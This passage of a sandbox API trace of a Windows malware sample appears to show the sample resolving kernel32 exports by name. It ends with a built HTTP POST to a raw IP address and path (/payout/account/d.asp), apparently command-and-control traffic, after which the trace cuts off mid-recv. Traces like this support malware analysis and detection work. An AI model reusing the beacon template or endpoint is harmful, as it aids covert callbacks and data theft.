lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0086.283] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0086.283] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0086.283] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0086.283] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0086.283] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0086.283] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0086.283] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0086.283] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0086.284] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0086.284] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0086.284] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0086.284] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0086.284] lstrlenA (lpString="CLOSESTATE") returned 10 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0086.284] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0086.284] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0086.284] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0086.284] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0086.284] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0086.284] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0086.284] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0086.284] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0086.284] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0086.284] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0086.284] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0086.285] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0086.285] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0086.285] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0086.285] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0086.285] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0086.285] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0086.285] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0086.285] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0086.285] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0086.285] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0086.285] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0086.285] lstrlenA (lpString="COPYCONTEXT") returned 11 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0086.285] lstrlenA (lpString="COPYFILE2") returned 9 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0086.285] lstrlenA (lpString="COPYFILEA") returned 9 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0086.285] lstrlenA (lpString="COPYFILEEXA") returned 11 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0086.285] lstrlenA (lpString="COPYFILEEXW") returned 11 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0086.285] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0086.285] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0086.285] lstrlenA (lpString="COPYFILEW") returned 9 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0086.285] lstrlenA (lpString="COPYLZFILE") returned 10 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0086.285] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0086.285] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0086.286] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0086.286] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0086.286] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0086.286] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0086.286] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0086.286] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0086.286] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0086.286] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0086.286] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0086.286] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0086.286] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0086.286] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0086.286] lstrlenA (lpString="CREATEEVENTA") returned 12 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0086.286] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0086.286] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0086.286] lstrlenA (lpString="CREATEEVENTW") returned 12 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0086.286] lstrlenA (lpString="CREATEFIBER") returned 11 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0086.286] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0086.286] lstrlenA (lpString="CREATEFILE2") returned 11 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0086.286] lstrlenA (lpString="CREATEFILEA") returned 11 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0086.286] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0086.286] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0086.286] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0086.287] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0086.287] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0086.287] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0086.287] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0086.287] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0086.287] lstrlenA (lpString="CREATEFILEW") returned 11 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0086.287] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0086.287] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0086.287] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0086.287] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0086.287] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0086.287] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0086.287] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0086.287] lstrlenA (lpString="CREATEJOBSET") returned 12 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0086.287] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0086.287] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0086.287] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0086.287] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0086.287] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0086.287] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0086.287] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0086.287] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0086.288] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0086.288] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0086.288] lstrlenA (lpString="CREATEPIPE") returned 10 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0086.288] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0086.288] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0086.288] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0086.288] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0086.288] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0086.288] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0086.288] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0086.288] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0086.288] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0086.288] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0086.288] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0086.288] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0086.288] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0086.288] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0086.288] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0086.288] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0086.288] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0086.288] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0086.289] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0086.289] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0086.289] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0086.289] lstrlenA (lpString="CREATETHREAD") returned 12 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0086.289] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0086.289] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0086.289] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0086.289] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0086.289] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0086.289] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0086.289] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0086.290] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.290] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0086.290] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.290] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0086.290] wsprintfA (in: param_1=0x30b0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /payout/account/d.asp HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.37.100\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 239 [0086.291] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0086.291] send (s=0x360, buf=0x30b0000*, len=460, flags=0) returned 460 [0086.291] shutdown (s=0x360, how=1) returned 0 [0086.292] recv (in: s=0x360, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0086.355] recv (in: s=0x360, buf=0x2e7f82d, len=1, flags=0 | out: 